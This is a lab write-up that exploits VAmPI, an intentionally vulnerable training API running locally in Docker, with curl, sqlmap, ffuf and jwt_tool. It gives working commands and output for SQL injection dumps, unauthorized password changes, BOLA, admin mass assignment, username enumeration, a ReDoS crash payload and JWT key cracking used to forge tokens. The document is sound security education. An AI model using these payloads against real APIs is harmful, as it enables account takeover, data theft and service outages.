
VAmPI
SUMMARY
VAmPI is an educational vulnerable API created by erev0s that includes vulnerabilities from the OWASP top 10 for APIs (2019). The API features an application where users can register and then login to post books. For any book the data accepted are the title and a secret about that book. Each book is unique for every user and only the owner of the book should be allowed to view the secret.
According to the documentation, the vulnerabilities contained in the source code are the following:
SQLi Injection.
Unauthorized password change.
BOLA (Broken Object Level Authorization).
Mass assignment.
Excessive data exposure through debug endpoint.
User and password enumeration.
RegexDOS (Denial of Service).
Lack of resources & rate limiting.
JWT authentication bypass via weak signing key.
The exercise can be solved using Burpsuite, Postman or Curl. Since we have already used the first two ones in crAPI and vAPI respectively, we will use Curl this time for the sake of learning and trying different tools.
KEYWORDS
API, OWASP top 10 API, Curl, SQLi, SQLmap, BOLA, mass assignment, user enumeration, RegexDOS, evil regex, JWT vulnerabilities.
REFERENCES
https://github.com/erev0s/VAmPI
https://erev0s.com/blog/vampi-vulnerable-api-security-testing/
https://owasp.org/API-Security/editions/2019/en/0x11-t10/
https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
https://devina.io/redos-checker
https://book.hacktricks.wiki/en/pentesting-web/regular-expression-denial-of-service-redos.html
INSTALLATION
Download the Docker image.
> docker pull erev0s/vampi:latest
latest: Pulling from erev0s/vampi
da9db072f522: Pull complete
8e8107752a3f: Pull complete
3573cf11bf5f: Pull complete
8006e90fa555: Pull complete
be3dc3bf7f89: Pull complete
4f4fb700ef54: Pull complete
4d16edbca2d5: Pull complete
431733e7bbd9: Pull complete
Digest: sha256:875ebde5e0a4e575212e58a00a848fef9a045299befbdb48d177616095fc6f35
Status: Downloaded newer image for erev0s/vampi:latest
docker.io/erev0s/vampi:latest
And run a container based on the image. Normally, VAmPI is designed to listen on port 5000, but in this case I used port 8011 because my local lab already has port 5000 in use.
> docker run -d -p 8011:5000 dc13b794b8a1
267883a02526a819f943b0eb8f8c9d5278a32031dba999d81c9eb5190d019683
The Swagger UI documentation site is now accessible on port 8011.

Let's try querying the welcome endpoint.
> curl -vX GET -H 'accept: application/json' http://10.1.1.11:8011/

ENUMERATION
Port scan.
> for ports in $(nmap $target -p- --min-rate=5000 -Pn --open --reason | grep open | awk -F "/" '{print $1}' | tr '\n' ',' | sed s/,$//); do nmap $target -p$ports -sV -sC -Pn -vv -n && echo "\nList of open ports: $ports";done
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-11 17:36 GMT
Nmap scan report for 10.1.1.11
Host is up, received user-set (0.00039s latency).
Scanned at 2025-02-11 17:36:42 GMT for 88s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8be0259d91b29350b4459f838facb74d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLT6wwJTer/+DKjTHq17dKEjw82WZVl0c5HclgD94WVnqNq/dFjBJVtjvNHlwhj3IB2ta1GFHBdeXLx8xp+j0UE=
| 256 3a6b9b777ca7738db0f7f88de8222b80 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIALpQa+3h1F16fiGkVf84y5A1VhaqD8dBsN4GfDWARg+
8011/tcp open unknown syn-ack
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.3 Python/3.11.10
| Date: Tue, 11 Feb 2025 17:42:21 GMT
| Content-Type: application/json
| Content-Length: 271
| Connection: close
| "message": "VAmPI the Vulnerable API", "help": "VAmPI is a vulnerable on purpose API. It was created in order to evaluate the efficiency of third party tools in identifying vulnerabilities in APIs but it can also be used in learning/teaching purposes.", "vulnerable":1}
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.3 Python/3.11.10
| Date: Tue, 11 Feb 2025 17:42:21 GMT
| Content-Type: text/html; charset=utf-8
| Allow: GET, OPTIONS, HEAD
| Content-Length: 0
| Connection: close
| Help:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('HELP').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
| </html>
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8011-TCP:V=7.93%I=7%D=2/11%Time=67AB8AB0%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1B6,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.3\x20
SF:Python/3\.11\.10\r\nDate:\x20Tue,\x2011\x20Feb\x202025\x2017:42:21\x20G
SF:MT\r\nContent-Type:\x20application/json\r\nContent-Length:\x20271\r\nCo
SF:nnection:\x20close\r\n\r\n{\x20\"message\":\x20\"VAmPI\x20the\x20Vulner
SF:able\x20API\",\x20\"help\":\x20\"VAmPI\x20is\x20a\x20vulnerable\x20on\x
SF:20purpose\x20API\.\x20It\x20was\x20created\x20in\x20order\x20to\x20eval
SF:uate\x20the\x20efficiency\x20of\x20third\x20party\x20tools\x20in\x20ide
SF:ntifying\x20vulnerabilities\x20in\x20APIs\x20but\x20it\x20can\x20also\x
SF:20be\x20used\x20in\x20learning/teaching\x20purposes\.\",\x20\"vulnerabl
SF:e\":1}")%r(HTTPOptions,C8,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeu
SF:g/2\.2\.3\x20Python/3\.11\.10\r\nDate:\x20Tue,\x2011\x20Feb\x202025\x20
SF:17:42:21\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nAllo
SF:w:\x20GET,\x20OPTIONS,\x20HEAD\r\nContent-Length:\x200\r\nConnection:\x
SF:20close\r\n\r\n")%r(RTSPRequest,16C,"<!DOCTYPE\x20HTML>\n<html\x20lang=
SF:\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\
SF:x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\x20
SF:response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20<p>Message:\x20Bad\x20request\x20version\x20\('RTSP/1\.0'\)\.</
SF:p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x2
SF:0400\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.<
SF:/p>\n\x20\x20\x20\x20</body>\n</html>\n")%r(Help,167,"<!DOCTYPE\x20HTML
SF:>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x2
SF:0\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x2
SF:0\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20syntax\x20\('
SF:HELP'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20expl
SF:anation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x
SF:20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 88.16 seconds
List of open ports: 22,8011
Before start attacking the API, we are advised to populate the database with dummy data, this is done by sending a GET request to the /createdb
endpoint.
> curl -vX GET -H 'accept: application/json' http://10.1.1.11:8011/createdb

And we also need to register a new user in the /users/v1/register endpoint
> curl -vX POST -H 'accept: application/json' -H 'Content-Type: application/json' \
-d '{
"email": "g1vi@mail.com",
"password": "passworrd123",
"username": "g1vi"
}' \
http://10.1.1.11:8011/users/v1/register

We can now log in and get a token.
> curl -vX POST -H 'accept: application/json' -H 'Content-Type: application/json' \
-d '{
"username": "g1vi",
"password": "passworrd123"
}' \
http://10.1.1.11:8011/users/v1/login

We are ready to start enumerating the vulnerabilities indicated by the author.
SQL INJECTION
The vulnerability is located in the file models/user_model.py
The user input is used to create and execute an SQL request without sanitization.

This vulnerability affects the endpoint users/v1/{username}
. To confirm the vulnerability we will use a basic SQLi payload.
> curl -vX GET -H 'accept: application/json' \
-H 'Authortization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzNzY0NzUsImlhdCI6MTczOTM3NjQxNSwic3ViIjoiZzF2aSJ9.1WT4Nx00D3j6PtDIHBTY8VtBR6QBuZ-Rjl7OURVm3mU
}' \
"http://10.1.1.11:8011/users/v1/g1vi'+OR+1%3d1"

The application returns an error, but inspecting the output carefully we see the SQL request SELECT * FROM users WHERE username = 'g1vi'+OR+1=1
has been created taking our input without sanitization, so the vulnerability is confirmed.
Let's exploit the vulnerability with sqlmap
> sqlmap -u 'http://10.1.1.11:8011/users/v1/*g1vi*' --method=GET --headers="Accept: application/json\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzNzY0NzUsImlhdCI6MTczOTM3NjQxNSwic3ViIjoiZzF2aSJ9.1WT4Nx00D3j6PtDIHBTY8VtBR6QBuZ-Rjl7OURVm3mU" --batch --threads 10 --dbms=sqlite --dump
The tool is able to dump the users
table.

And the books
table.

UNAUTHORIZED PASSWORD CHANGE
This vulnerability is found in the file api_views/users.py
The application takes the password from a JSON parameter and uses it to modify the old one. This is possible as authorization is not made at object level as in BOLA vulnerabilities. In other words, the application does not check if the user token we are using to authenticate is authorized to change the password.

Let's exploit this by sending a PUT request to the /users/v1/name1/password
endpoint to modify user name1
password. We just need to be logged with our own token, it will work because the application does not check if our user has permissions to modify somebody else's passwords.
> curl -vX PUT -H 'accept: application/json' -H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzNzkwNDYsImlhdCI6MTczOTM3ODk4Niwic3ViIjoiZzF2aSJ9.M9bg2yjtHEn4AhjOJigZc2lXl3MmJhV6e-ODLfjt4sY' \
-d '{
"password": "password123"
}' \
http://10.1.1.11:8011/users/v1/name1/password

The API returns with code 204. We can verify the password has been changed by logging in as user name1
with the new password, and then verifying the old password does not work.
> curl -vX POST -H 'accept: application/json' -H 'Content-Type: application/json' \
-d '{
"username": "name1",
"password": "password123"
}' \
http://10.1.1.11:8011/users/v1/login
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.1.1.11:8011...
* Connected to 10.1.1.11 (10.1.1.11) port 8011 (#0)
> POST /users/v1/login HTTP/1.1
> Host: 10.1.1.11:8011
> User-Agent: curl/7.85.0
> accept: application/json
> Content-Type: application/json
> Content-Length: 50
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Werkzeug/2.2.3 Python/3.11.10
< Date: Wed, 12 Feb 2025 16:56:34 GMT
< Content-Type: application/json
< Content-Length: 224
< Connection: close
<
* Closing connection 0
{"auth_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzNzk0NTQsImlhdCI6MTczOTM3OTM5NCwic3ViIjoibmFtZTEifQ.qVJgFY6_GV2Hyx1JAIseRCxgAhPUEbpBqgJ5uoldW6s", "message": "Successfully logged in.", "status": "success"}
> curl -vX POST -H 'accept: application/json' -H 'Content-Type: application/json' \
-d '{
"username": "name1",
"password": "pass1"
}' \
http://10.1.1.11:8011/users/v1/login
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.1.1.11:8011...
* Connected to 10.1.1.11 (10.1.1.11) port 8011 (#0)
> POST /users/v1/login HTTP/1.1
> Host: 10.1.1.11:8011
> User-Agent: curl/7.85.0
> accept: application/json
> Content-Type: application/json
> Content-Length: 44
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Werkzeug/2.2.3 Python/3.11.10
< Date: Wed, 12 Feb 2025 16:56:44 GMT
< Content-Type: application/json
< Content-Length: 81
< Connection: close
<
* Closing connection 0
{ "status": "fail", "message": "Password is not correct for the given username."}
BROKEN OBJECT LEVEL AUTHORIZATION
The vulnerability is found in the file api_views/books.py
The application takes the book name and retrieves all parameters from the database, including the book secret. No authorization check are made to verify if the user is allowed to retrieve this secret, contrary to what is said in the documentation: "each book is unique for every user and only the owner of the book should be allowed to view the secret".

To confirm the vulnerability, first we dump all book names using our token.
> curl -vX GET -H 'accept: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzODA5NjcsImlhdCI6MTczOTM4MDkwNywic3ViIjoiZzF2aSJ9.UHqtQbz3ZCrBuz87W44T0GdjZYKuItme7YIB8RQ5FrQ' \
http://10.1.1.11:8011/books/v1

Then we query one of them, for example bookTitle1
> curl -vX GET -H 'accept: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzODA5NjcsImlhdCI6MTczOTM4MDkwNywic3ViIjoiZzF2aSJ9.UHqtQbz3ZCrBuz87W44T0GdjZYKuItme7YIB8RQ5FrQ' \
http://10.1.1.11:8011/books/v1/bookTitle1

And we verify we are able to see the book's secret using our token, when it is supposed to be allowed only for its owner. This is possible because no authorization checks are made at object (book) level.
MASS ASSIGNMENT
This vulnerability is found in the source file api_views/users.py
We are prompted to escalate our privileges by manipulating the POST register request adding an extra parameter.

According to the source code, as long as we register a new user adding an extra parameter called admin
(with any value) we will receive administrative privileges.
> curl -vX POST -H 'accept: application/json' -H 'Content-Type: application/json' \
-d '{
"email": "g1vi@mail.com",
"password": "password123",
"username": "g1vi_admin",
"admin": "hey"
}' \
http://10.1.1.11:8011/users/v1/register

EXCESSIVE DATA EXPOSURE THROUGH DEBUG ENDPOINT
During application development, programmers usually create endpoints for debugging purposes. These may remain active after entry into service, leaking all kind of sensitive information. We are prompted to find one of these debug endpoints.
The debug endpoint code is found in file api_views/users.py
, where we find a call to get_all_users_debug()

Which in turn calls a method in models/user_model.py
that basically makes a query to retrieve all user parameters in the database.

Let's query this endpoint and see what happens.
> curl -vX GET http://10.1.1.11:8011/users/v1/_debug

In fact we see all info related to the users, including changes we have made so far: our new user, the admin we have just created user and the password we modified before.
USER AND PASSWORD ENUMERATION
This is related to applications being too verbose when a failed login attempt happens, either by a wrong username or by a wrong password. Normally, the application should provide the same information or error message in both cases, so the attacker is not able to assemble a brute force attack.
Vulnerability is found in api_views/users.py

Here we see there are two different messages for both cases. This permits us enumerating usernames, and when a valid one is found, we can brute force the password.
To demonstrate this first we force two failed login attempts.
> curl -vX POST -H 'accept: application/json' -H 'Content-Type: application/json' \
-d '{
"username": "g1vi",
"password": "hey"
}' \
http://10.1.1.11:8011/users/v1/login
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.1.1.11:8011...
* Connected to 10.1.1.11 (10.1.1.11) port 8011 (#0)
> POST /users/v1/login HTTP/1.1
> Host: 10.1.1.11:8011
> User-Agent: curl/7.85.0
> accept: application/json
> Content-Type: application/json
> Content-Length: 41
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Werkzeug/2.2.3 Python/3.11.10
< Date: Wed, 12 Feb 2025 18:16:10 GMT
< Content-Type: application/json
< Content-Length: 81
< Connection: close
<
* Closing connection 0
{ "status": "fail", "message": "Password is not correct for the given username."}
> curl -vX POST -H 'accept: application/json' -H 'Content-Type: application/json' \
-d '{
"username": "hey",
"password": "password123"
}' \
http://10.1.1.11:8011/users/v1/login
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.1.1.11:8011...
* Connected to 10.1.1.11 (10.1.1.11) port 8011 (#0)
> POST /users/v1/login HTTP/1.1
> Host: 10.1.1.11:8011
> User-Agent: curl/7.85.0
> accept: application/json
> Content-Type: application/json
> Content-Length: 48
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Werkzeug/2.2.3 Python/3.11.10
< Date: Wed, 12 Feb 2025 18:16:25 GMT
< Content-Type: application/json
< Content-Length: 57
< Connection: close
<
* Closing connection 0
{ "status": "fail", "message": "Username does not exist"}
With the reply length data we can enumerate usernames with ffuf
For this, capture a login request with Burpsuite and edit to add FUZZ fields in the username
parameter.
The resulting request should be something similar to this.
POST /users/v1/login HTTP/1.1
Host: 10.1.1.11:8011
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.1.1.11:8011/ui/
Content-Type: application/json
Origin: http://10.1.1.11:8011
Content-Length: 48
Connection: close
{
"password": "pass1",
"username": "FUZZ"
}
Now use ffuf
to enumerate usernames, exclude responses with size 57 (to find this, check Content-Length
parameter in the previous responses).
> ffuf -c -request request.http -request-proto http -t 100 -fs 57 -w ./xato-net-10-million-usernames.txt

In fact, abusing the vulnerability we have been able to enumerate two valid usernames. Next step would be to brute force both passwords with a similar attack.
REGEXDOS (DENIAL OF SERVICE)
RegexDOS (Regular Expression Denial of Service) is a vulnerability affecting unsafe regular expressions. They are vulnerable if certain inputs provoke unreasonably long processing times, impacting application availability.
The vulnerable regular expression is located in the file api_views/users.py

This part of the code is supposed to validate user input when entering an email address. If the address is invalid an error message is reported.
Let's try an invalid email to see how the regular expression works.
> curl -vX PUT -H 'accept: */*' -H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzODY3ODAsImlhdCI6MTczOTM4NjcyMCwic3ViIjoiZzF2aSJ9.CIqwXUMvKQFD4jKhWii0eNXSTC3t66hWytRepvk9Sbc' \
-d '{
"email": "hey"
}' \
http://10.1.1.11:8011/users/v1/g1vi/email

This endpoint is candidate for regex denial of service. Now we have to check if the regular expression it is vulnerable and then, find a suitable input (evil regex) to cause the API to crash.

The following Python script creates an evil regex as suggested.
> python3 -c "print('A'+'0A.AA.-A'*28+'00.AA')"
A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A00.AA
Now just send the payload to the endpoint to make it crash.
> curl -vX PUT -H 'accept: */*' -H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzODc5MDksImlhdCI6MTczOTM4Nzg0OSwic3ViIjoiZzF2aSJ9.5Axnoz_NbeCYZWxLL1-1FfE_H33ezkb9DWRwMcjcvAs' \
-d '{
"email": "A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A0A.AA.-A00.AA"
}' \
http://10.1.1.11:8011/users/v1/g1vi/email

The API crashes. The server needs to be restarted to continue the test.

LACK OF RESOURCES AND RATE LIMITING
This vulnerability is related to applications that do not provide a limit to the amount of resources required to satisfy specific users requests. This is a useful protection against, for example, attacks that send a high number of requests in short time, such as user enumeration or password brute force.
This vulnerability has been previously confirmed, when we have been able to enumerate usernames.
JWT AUTHENTICATION BYPASS VIA WEAK SIGNING KEY
Generate an authentication token and inspect it with jwt_tool
> jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzODc5MDksImlhdCI6MTczOTM4Nzg0OSwic3ViIjoiZzF2aSJ9.5Axnoz_NbeCYZWxLL1-1FfE_H33ezkb9DWRwMcjcvAs

The token uses symmetric encryption, so maybe we can crack the key if a vulnerable one has been used.
> jwt_tool -C -d /usr/share/wordlists/rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzkzODc5MDksImlhdCI6MTczOTM4Nzg0OSwic3ViIjoiZzF2aSJ9.5Axnoz_NbeCYZWxLL1-1FfE_H33ezkb9DWRwMcjcvAs

With the cracked password we can forge tickets for another user, for example, name2

And use the forged ticket to interact with the API as name2

WRAPPING UP
At this point we have been able to find and exploit the 9 vulnerabilities proposed by the author in the VAmPI documentation, using only Curl to interact with the API as we had proposed at the beginning of the exercise.
Last updated